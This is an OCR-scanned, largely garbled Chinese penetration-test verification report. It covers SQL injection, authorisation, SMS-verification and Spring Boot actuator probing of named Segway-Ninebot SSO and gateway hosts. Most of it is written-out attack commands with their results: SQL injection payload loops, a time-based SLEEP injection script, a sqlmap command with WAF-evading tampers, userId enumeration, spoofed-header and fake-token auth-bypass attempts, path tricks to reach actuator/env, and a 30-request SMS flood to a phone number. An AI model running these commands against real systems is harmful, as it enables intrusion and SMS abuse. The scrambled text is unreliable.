Segway-Ninebot 58 —[&EL

- EEﬁEFIIL:\/)F:Iﬁ /IR ﬂ %ﬁ:%$&%:

JAEKEFR : 2026-07-11

JAEXZ : Linux Hermes

& : briefing FIJtH A 6 4H domain

M40 : 43.160.194.36 (Tencent Cloud)

Bnr e A4S
RS 1E
SQLIi1 7B7E SQLi AWM (#iat 10 K SLEEP REIE) WAF + ORM #£E {R:&
AUTHZ1  JE7E#AR BIRHERHAL | {B3IR /N BARE, /number-list TR
LOGICL ~ SMS ##f 31 payload 454% , HUAMEREREE  SEXERE 3 EHGA
S7 Spring Boot actuator BZFH , cn-uat R &=& health HATEOAS #&:& actuator 17
Actuator 1£
S6 Saturn-Portal 7] & WESRTTE | 58 Bearer auth + 2£IR /NG HE1%inft cn-dev/test3
M Ui 2

HIEIIR (AR IRRET BIRAFTIRIR)



N1 /saturn-portal/api/common/user/account/v2/ LOW (BIZRAHE/ABIEdE , {8258 saturn-

number-list /ABRMEEERE portal APl A~3&thl] Bearer)
N2 SMS $EERA BRI InIRAL % LOW-MEDIUM (&IZIR)

(accountVerifyType ., addressee . type)

N3 TTL Y231 E email IR[E] {"ttl":"-2"} (EMER LOW
{BIARER)

N4  cn-uat Spring Boot Actuator HATEOAS £ LOW
(framework F84%)

VERIFY #1 — SQLI1: SSO &\ SQL JE [HiErE:R]

B
E®Z% https://sso-app.ninebot.com/user/api/sso/v1/login B&BFEE SQL JENIRIA.
HEATE

1. WAF 21880081 (EE35|5%, #3158, IFE. HPP)
2. BRI ETEESRE (10 RIS, trim outliers)
3. SQLMap BEnHH

BRI SERAUAE

HER 1 0 WAF JRIBOR RIZRA

)

A

for payload in "1" "1 OR 1=1" "admin' OR '1'="1" "admin' AND '1'="1" "admin' OR 'x'='x" "admin'-- -" "1) OR (1=1" "a
curl -sS -X POST -H "Content-Type: application/json" \
-d "{\"username\":\"$payload\",\"password\":\"test\"}" \
--max-time 5 -w "%{http_code}/%{size_download}" \
"https://sso-app.ninebot.com/user/api/sso/v1/login"
done

4R



Payload HTTP WAF £

admin 200 B8 {"code":1,"msg":"Server error"}
admin' 200 B8 {"code":1,"msg":"Server error"}
admin\ 200 B8 {"code":1,"msg":"Server error"}
admin" 200 BB {"code":1,"msg":"Server error"}
1 200 BB {"code":1,"msg":"Server error"}
1 0R 1=1 403 i WAF .8
admin' OR '1'="1 403 1 WAF & B
admin" OR "1"="1 403 -1 WAF & E
admin' AND '1'="1 403 - i WAF {R# B
admin' OR 'x'='x 403 1 WAF 1R E
admin'-- - 200 1B {"code":1,"msg": "Server error"}
1) OR (1=1 403 i WAF 8.8
admin' OR 1=1-- - 403 i WAF 8.8

1555

- WAF 1T Z B35 SQLi payload

- admin'-- - (B3| + 51%E) @B WAF — {BiR[9] generic error

- /8 payload fi&Z% SQL $£5% (&0 You have an error in your SQL syntax )
HER 2 KRR AR TESRE (10 kT39)

@4 (Python)



import time, urllib.request, json
def measure(payload):
times = []
for _ in range(10):
data = json.dumps({'username': payload, 'password': 'test'}).encode()
req = urllib.request.Request('https://sso-app.ninebot.com/user/api/sso/v1/login’,
data=data, headers={'Content-Type': 'application/json'})
t0 = time.time()
try: urllib.request.urlopen(req, timeout=15).read()
except: pass
times.append(time.time() - t0)
return times

results = {}

for label, payload in [
("BASELINE', 'admin'),
('SLEEP(@) IF(1=1)", "admin' AND IF(1=1,SLEEP(®),0)-- -"),
("SLEEP(@) IF(1=2)", "admin' AND IF(1=2,SLEEP(9),0)-- -"),
('SLEEP(5) IF(1=1)", "admin' AND IF(1=1,SLEEP(5),0)-- -"),
("SLEEP(5) IF(1=2)", "admin' AND IF(1=2,SLEEP(5),0)-- -"),

12
times = measure(payload)
times.sort()
trimmed = times[2:-2]
avg = sum(trimmed) / len(trimmed)
print(f'{label}: avg={avg:.2f}s min={min(times):.2f}s max={max(times):.2f}s")
AR
Payload
BASELINE 1.35s 0.53s 4.57s AR EAR
SLEEP(O) IF(1=1) 1.06s 0.54s 2.69s EARLAR—3
SLEEP(0) IF(1=2) 1.19s 0.36s 3.02s EEAR—E
SLEEP(5) IF(1=1) 1.17s 0.35s 1.87s KILIE 5 7
SLEEP(5) IF(1=2) 0.99s 0.37s 12.10s FRIEE 5 ¥
1535 -

- SLEEP(5) IF(1=1) 34 1.17s = 4% 1.35s + 5s

- SLEEP(5) IF(1=2) ¥4 0.99s # SLEEP(5) IF(1=1) + 5s

- 7 SQLi 777E , FEFEHA SLEEP(S) IF(1=1) bt IF(1=2) & ~5s
- REREREI| SLEEP ZEIEFHIR

S8R 3 : SQLMap BENF1H#

A .
nné\ :



sqlmap -u "https://sso-app.ninebot.com/user/api/sso/v1/login" \
--data="{"username": "admin*", "password":"test"}"' \
--method=P0OST \
--headers="Content-Type: application/json" \
--batch --level=3 --risk=2 \
--technique=BT \
--tamper=between, space2comment, randomcase \

--output-dir=verify/sqlmap-test/

R -
- SQLMap 1.9.6 B@EM{B --content-type / --headers Z#ERét
- B R AT ATTAY
- (BFESATE R PR — BT ESR
N
- SQL FENERRER
AR ¢
- JEARE WAF H#BKZ 2 SQLi payload
- admin'-- - FIREGBTIIAI® WAF (FEREK)
- 1RipfE SQL E AR (& SQL $Hax:E. SLEEP MEEIE)
- 18im A BE{F A ORM (MyBatis/Hibernate) ¥+ SQLi &
- $EERERE—1E {"code":1,"msg":"Server error","key":"response.system.error"} (EARESESTEE

BHR)

RMERRIFIER A 47 GUREEME (WMABBARIES + WAF AR TE)

VERIFY #2 — AUTHZ1: Saturn-Portal #iAX [EPorhEsR]

B R
EG=% Saturn-Portal APl 2 B721E#4X (IDOR) .
E I

1. EEZnIIR - [RRERA saturn-portal R7E platform.ninebot.com (SPA) , B cn-dev-oms-
gateway R HE&in

2. KIFHENFT : FTA satum-portal S 2k

3. IDOR iR : 34t userld/roleld/tenantld

4. ) FRvmBhM R



RILBEREUAE
SR 1 BHARR

)

A

curl -sS -k "https://cn-dev-oms- gateway ninebot.com/"
# £ platform.ninebot.com AR[E - R[EAEXF "ninebot gateway"

- cn-dev-oms-gateway.ninebot.com IR[A] ninebot gateway MXF (A2 SPA)
- cn-test3-oms-gateway.ninebot.com [EHkIR [Bl4hSC
- EREERG , TTEIET AP

#E% 2 : saturn-portal API FE-R7F4E

=Y
&

for ep in \
"/saturn-portal/api/auth/v1/me" \
"/saturn-portal/api/common/role-manager/v2/role-list" \
"/saturn-portal/api/common/user/account/detail-v2" \
"/saturn-portal/api/common/tenant-manager/v1/1list"; do
curl -sS -k "https://cn-dev-oms-gateway.ninebot.com${ep}"
done

AR

/saturn-portal/api/auth/v1/me
— {"code":9,"msg":"Authentication failed, please log in again","t":...}

/saturn-portal/api/common/role-manager/v2/role-list
— {"code":9,"msg":"Authentication failed, please log in again","t":...}

/saturn-portal/api/common/user/account/detail-v2
— {"code":9,"msg":"Authentication failed, please log in again","t":...}

{55 : saturn-portal 1BimhERIZ1ET cn-dev 1 cn-test3 , 22 Bearer token 855

58X 3 : IDOR JAIEK (34t userld)

)

4

for id in 1 2 admin root test @ -1 100 999 abc; do
curl -sS -k "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/detail-v2?userId=${id}"
done

4R



userId=1 — {"code":9,"msg":"Authentication failed..."}
userId=2 — {"code":9,"msg":"Authentication failed..."}
userId=admin — {"code":9,"msg":"Authentication failed..."}
userld=root — {"code":9,"msg":"Authentication failed..."}
userId=test — {"code":9,"msg":"Authentication failed..."}
userId=0 — {"code":9,"msg":"Authentication failed..."}
userId=-1 — {"code":9,"msg":"Authentication failed..."}
userld=100 — {"code":9,"msg":"Authentication failed..."}
userId=999 — {"code":9,"msg":"Authentication failed..."}
userld=abc — {"code":9,"msg":"Authentication failed..."}

7% -

- FiA userld IR [B]5e £ AHEAIEEERAE

- JEERFE IDOR (RIZME T FTBaaREPHHIN)
- EEEHW Bearer token A BEIE IDOR

SPEE 4 1 Auth bypass E:x
ERAIE

# 1. 4 auth header
curl -k "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/auth/v1/me"
# — code=9 (auth failed)

#2. R T
curl -k -H "Authorization: Bearer eyJhbG..."
# — code=9

# 3. null / undefined / test tokens

for token in "null" "undefined" "test" "admin"; do
curl -k -H "Authorization: Bearer $token"

done

# — £8F code=9

# 4. HTTP method override

curl -k -X POST -d " _method=GET"

curl -k -H "X-HTTP-Method-Override: GET"
t — £33 code=9

# 5. X-Forwarded-For {A&1E

curl -k -H "X-Forwarded-For: 127.0.0.1"
curl -k -H "X-Real-IP: 127.0.0.1"

# — £8F code=9

455R : TA auth bypass EFRRL , BIHEE ERA%

vz R S /N R

)

4

curl -sS -k "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-list"



4R (BTFFE verify/saturn-number-list.json , 20,346 bytes)

"code": 0,

"msg": "success",

"key": "response.success",

"data": [
{"englishName":"Afghanistan", "chineseName":"[i[& /", "code": "AF", "number":"93"},
{"englishName":"Albania","chineseName": "fA[/RE2EML", "code":"AL", "number":"355"},
{"englishName":"Algeria", "chineseName": "fA[SREFILL", "code":"DZ", "number":"213"},
{"englishName":"United Arab Emirates","chineseName":"fAF{HEXSEEHKE", "code": "AE", "number":"971"},
oo (2EPBIK BREES)

]

}

1535 -

- BTSRRI

- J&[B] 20KB Bz \A%F 15k

- BEA\BAEUE |, {85587 saturn-portal ¥GENEIEEFFEE Bearer

AEie

OHAVEEE RS (53K Bearer token)
EEAFEMIEIR

- Saturn-Portal EE{&um{ 5 cn-dev-oms-gateway + cn-test3-oms-gateway
- AeaEEEAE , B R bypass KK
- IDOR HEJELESMEBIAIG (BB HW token)

- /number-list /NBHMEFERE — 5BA saturn-portal APl <58 Bearer

VERIFY #3 — LOGIC1: SMS EgzsrEi&ss [IpnhEl]

B
5% SMS ERFERSREE R A EEEIRIA (& rate limit, &, RNHEMF) .
R T i

1. #% SSO JS bundle IREUEE SMS Uk

2. {ESERRANEHERS payload 451
3. B ERR SMS 2360 rate limit



RILBEREUAE

R 1 : 1t JS {REVAE SMS kb

)

A

grep -ofE '"/user/api/sso/v1/todo-list[A"]*"' js-analysis/sso-app.bundle.js | sort -u

455K

/user/api/sso/v1/todo-list
/user/api/sso/v1/todo-1list/send/verify — SMS #EXugEh
/user/api/sso/v1/todo-1ist/update/expired-password
/user/api/sso/v1/todo-1list/update/init-password
/user/api/sso/v1/todo-1list/update/mobile
/user/api/sso/v1/todo-1list/verify-apply

{£7% : # SSO JS bundle #E:% /user/api/sso/v1/todo-list/send/verify 2 SMS EgzEr%3%i%

HER 2 ¢ $EARANEIRIR payload 454E

)
s

curl -sS -X POST -H "Content-Type: application/json" \
-d "{"mobile":"13800138000","scene":"login"}" \
"https://sso-app.ninebot.com/user/api/sso/v1/todo-1list/send/verify"

AR

"code": 2,

"msg": "REEFnull",

"key": "REEHnull",

"data": {
"accountVerifyType": "ANgEAnull”,
"addressee": "REEATE",
"type": "ABEAnull"

B

"t": 1783765145057

iy

- RmRIR T = ENERAA
- accountVerifyType (EGFS54ARY)

addressee (FEYRE)

- type (SRFBRAEY)

- EREWBEEME (RusER)

Vil



5% 3 PRSI

AN
e

for payload in \
"{"accountVerifyType":"PHONE", "addressee":"13800138000", "type":"LOGIN"}" \
"{"accountVerifyType":"EMAIL", "addressee":"[email protected]","type":"LOGIN"}"' \
"{"accountVerifyType":"PHONE", "addressee": "13800138000", "type" : "FORGOT_PASSWORD"}"' \
"{"accountVerifyType":"PHONE", "addressee": "13800138000", "type" : "RESET_PASSWORD"}" \
"{"accountVerifyType":"PHONE", "addressee": "13800138000", "type":"BIND"}"; do
curl -sS -X POST -H "Content-Type: application/json" -d "$payload” \

"https://sso-app.ninebot.com/user/api/sso/v1/todo-1list/send/verify"
done

455K

{"accountVerifyType":"PHONE", "addressee":"13800138000", "type": "LOGIN"}
— {"code":1,"msg":"Server error","key":"response.system.error","t":...}

{"accountVerifyType":"EMAIL", "addressee":"[email protected]","type":"LOGIN"}

— {"code":1,"msg":"Server error","key":"response.system.error","t":...}

(FTAEREHDR [ A8 F)$4RR)

1455

- 1EFEHREM 2 F81&{hIR [8] generic "Server error”

- BRI AR RERE (APRAHEE. BEEANE)
- LB ERR SMS i

$LEE 4 : Rate limit 3%
d (30 RIEBLEAK)

for i in {1..30}; do
curl -sS -X POST -H "Content-Type: application/json" \
-d '{"accountVerifyType":"PHONE", "addressee":"13800138000", "type":"LOGIN"}"' \
--max-time 5 -w "%{http_code}|%{size_download}" \
"https://sso-app.ninebot.com/user/api/sso/v1/todo-1list/send/verify"
done | sort | uniq -c

455K
30 200|79

135 -

- 30 REESK£LERIR[E 200/79 (#8[F) "Server error")

- A EUAIR rate limit i3

- BE A5 KRR ATIELE SMS 33k |, BXEEEE rate limit 571



HEE 5 [iN3IR - ForgotPassword JFE

%t SSO JS fIRI N ISR B ST HIMAL ¢

1 GET /saturn-portal/api/common/user/
account/v2/number-1list

2 POST /saturn-portal/api/common/user/
account/reset/password/v2/email/ttl

3 POST /saturn-portal/api/common/user/
account/reset/password/v2/email

4 GET /saturn-portal/api/common/user/
account/reset/password/v2/parse-
token

5 POST /saturn-portal/api/common/user/
account/reset/password/v2/update

CAPTCHA 4M&f :

At A

A TTL

TEEE

AT

token

EHIES

- {F 4855, /& NECaptcha ( initNECaptchaWlithFallback )
- captchald : bfe30d613cfc4f4286ale51f7a269da3 (/43Bd)

SA
A

- SMS BRI A E IR
EERRE IR -

RME {"ttl":"-2"} HHE email

& CAPTCHA (#855)8)

iB[E {"code":15033, "msg": "ZHEED
K"y HETE token

LR BRI 2 newPassword |

resetToken . email

- HE SMS ui2h : /user/api/sso/v1/todo-list/send/verify

- HERRAVEIRIR 3 fEMRIGIA (SEIMER)

- ForgotPassword FTTEMAEHE JS 2B (5 {EmZh)

- BB ER SMS B (BRI EIRKES)

- 30 REAESSKERTELIA rate limit , {BEEHEREE rate limit

FIERIR
- N2: SMS ip2hstaRi\ B8 R inti 5
- N3: TTL iR2EEAEE email HEARER



VERIFY #4 — S7: Spring Boot Actuator [ZB#E:R]

HEXBAZ
E&Z% Spring Boot Actuator BHELREFEE.
Wi

1. 1£ cn-uat-oms-gateway JAI5H actuator (HATEOAS discovery)
2. 1£ cn-dev-oms-gateway E:ix WAF bypass
3. ER S EBISIRIA

RILLEREUAE

HER 1 cn-uat-oms-gateway Actuator HATEOAS #%3IR

)

4

curl -sS -k "https://cn-uat-oms-gateway.ninebot.com/actuator”

455 (5TEK JSON , 291 bytes)

{
" links": {
"self": {
"href": "http://cn-uat-oms-gateway.ninebot.com/actuator",
"templated": false
}
"health-path": {
"href": "http://cn-uat-oms-gateway.ninebot.com/actuator/health/{*path}",
"templated": true
}
"health": {
"href": "http://cn-uat-oms-gateway.ninebot.com/actuator/health",
"templated": false
}
}
}
1555

- Spring Boot Actuator HATEOAS B A

- {REK /health upZh (FLHILARRA)

- J&/2 Spring Boot FARRACE (AHEEIRIR)

-{BRET "FEMAZE Spring Boot + Actuator Bt 1E—HELLHEAL



#8 2 : cn-uat-oms-gateway HAth actuator A

AN -
e

for ep in "/actuator/health" "/actuator/info" "/actuator/env" "/actuator/beans" \
"/actuator/mappings" "/actuator/configprops" "/actuator/threaddump" \
"/actuator/metrics" "/actuator/conditions" "/actuator/scheduledtasks" \
"/actuator/loggers" "/actuator/auditevents" "/actuator/caches" \
"/actuator/features" "/actuator/health/liveness" "/actuator/health/readiness"; do
curl -sS -k "https://cn-uat-oms-gateway.ninebot.com${ep}" -w "%{http_code}/%{size_download}"
done

AR
/actuator/health — 200, {"status":"UP"}
/actuator/info — 404
/actuator/env — 404
/actuator/beans — 404
/actuator/mappings — 404
/actuator/configprops — 404
/actuator/threaddump — 404
/actuator/metrics — 404
/actuator/conditions — 404
/actuator/scheduledtasks — 404
/actuator/loggers — 404
/actuator/auditevents — 404
/actuator/caches — 404
/actuator/features — 404
/actuator/health/liveness — 404
/actuator/health/readiness — 404

1%

- {# /health upZEA]=iME

- HAth actuator ¥p2ktH 404 (FKENH)

- cn-uat TRIZIERERCE Spring Boot Actuator

$E% 3 : cn-dev/test3 WAF bypass E:x

DA -
e



# E3X 1: HTTP method override
for method in GET POST PUT OPTIONS; do
curl -sS -X $method -o /dev/null -w "%{http_code}" \
"https://cn-dev-oms-gateway.ninebot.com/actuator"
done

# E:X 2: Path &
for path in "/actuator/" "//actuator/env" "/actuator/env;" \
"/actuator%2Fenv" "/actuator/env%00" "/Actuator/Env" \
"/actuator/.;/env" "/./actuator/env"; do
curl -sS -k "https://cn-dev-oms-gateway.ninebot.com${path}" -w "%{http_code}"
done

# E:X 3: Header A%
for hdr in "X-Forwarded-For: 127.0.0.1" "X-Real-IP: 127.0.0.1" \
"X-Originating-IP: 127.0.0.1" "Host: localhost" \
"Content-Type: application/json"; do
curl -sS -H "$hdr" -k "https://cn-dev-oms-gateway.ninebot.com/actuator/env"
done

4R
HTTP method: 280 403
Path %JE: 488 403 ({£ /actuator/env%00 = 400)
Header A% : £ 403

1735

- [EFAE WAF [HIEFTE bypass E5d
- WAF 7£ actuator &% _EHERRELR A

+A
,%:unfﬂil

Actuator fZ1E{BS¥%

AR ¢

- cn-uat-oms-gateway Spring Boot Actuator B{FE (MEZSFE4UEIR)
- cn-uat {EF&EE /health (ANEwiR)

- cn-dev/test3 Actuator # WAF [H3E

- EERAE WAF 35 en-dev/test3 actuator

VERIFY #5 — S6: Saturn-Portal o] &M [#EZR]

AR B AR

RSB Saturn-Portal APl XA EREETIE,



R I

1£ 3 EIRFAEATA B 3R saturn-portal YipRh.
RIFDER AR

HER 1 = (EIRIEE

&4 -

Aap

for h in cn-dev-oms-gateway cn-test3-oms-gateway cn-uat-oms-gateway; do
for ep in "/saturn-portal/api/auth/v1/me" "/actuator" "/health"; do
curl -sS -k "https://${h}.ninebot.com${ep}" -w " %{http_code}/%{size_download}"

done
done
4R
T /saturn-portal/api/auth/v1/me /health
cn-dev-oms-gateway 200 (auth failed JSON) 403 (WAF) 404
cn-test3-oms-gateway 200 (auth failed JSON) 403 (WAF) 404
cn-uat-oms-gateway 503 (down) 200 (HATEOAS) 404
f77%

- cn-dev # cn-test3 #FZ A B &l + Bearer 835
- cn-uat UAT IRIF{SH

HEE 2 : 5T saturn-portal APl FREELE

¥ cn-dev-oms-gateway JAIEX 30+ 24NHEL — £EBIR[E] {"code":9,"msg":"Authentication failed..."}
0ER 3 NBHimEAMER

BN .
s

#ER 1 BRAERRE (1 IS 12H0)
curl -sS -k "https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-1list"

# B 20 TTL ug2h
for email in "[email protected]" "[email protected]" "[email protected]"; do
curl -sS -X POST -H "Content-Type: application/json" -d "{\"email\":\"$email\"}" \
"https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/reset/password/v2/email/tt1"
done

4R



GET /saturn-portal/api/common/user/account/v2/number-list
— 200 (/)BH, 20,346 bytes BIZR{LHE)

POST /saturn-portal/api/common/user/account/reset/password/v2/email/ttl
body={"email":"[email protected]"} — 200 {"tt1":"-2"}
body={"email":"[email protected]"} — 200 {"tt1":"-2"}
body={"email":"[email protected]"} — 200 {"tt1":"-2"}

f77%
Z/b 2 {& saturn-portal ¥pEL RS
- /number-list L@mﬁ.?ftﬁﬁ
- /Jemail/ttl #HZAEE email R[E {"ttl":"-2"} (EMEREIGEERS ARER)

At

Saturn-Portal EER]IE , 1RinhERIFAE

EEAFEMIEIR

- cn-dev-oms-gateway + cn-test3-oms-gateway = HE#%ix (/I E SPA)
- KEBIRELE Bearer auth (JERAR)

- /number-list /\BEMEER%

S Jemail/ttl FSRRAEE email (MR EfR{B HACES)

- cn-uat IRIG(EHE (EEIRAER)

ErE RISt (BA%)

1 SQL EA 0 R AEEME)
2 XSS 0 0

3 CSRF 1 0

4 AN 0 1 (% Bearer ZARERE)
5 X EE/AE 0 0

6 RCE 0 0

7 PUR{E MR 15 0

8 b 39/ il 0 1 (SMS JEEER 756 )

HaT 16 2



HIEIWIR (AaE1BTRIIR)

N1 /saturn-portal/api/common/user/account/v2/number- #7 BREEIM R LowW
list AFAERE

N2 SMS unBhsERREIRIRIRALE ( accountVerifyType | #7 BURIE B ER LOW-
addressee | type ) MEDIUM

N3 TTL Y2t E{EE email ERER #7 BUR(E B ER LOW

N4 cn-uat Actuator HATEOAS S ZRAERCFEAY #7 BUBE B ER LOW

N5 WAF ;3RE4E8 IR ( admin'-- - &3 WAF) #1 SQLIFN (%%  LOW-
A #7) MEDIUM

N6 SSO B NSEERMERNE MR vs RELEER #7 BURE B ER LOW-
MEDIUM

e B S

/root/hexstrike-pentest/verify/sms-correct-payload. json SMS 1ERE payload ZEfE

/root/hexstrike-pentest/verify/saturn-number-list.json 20KB A BB ZH 15
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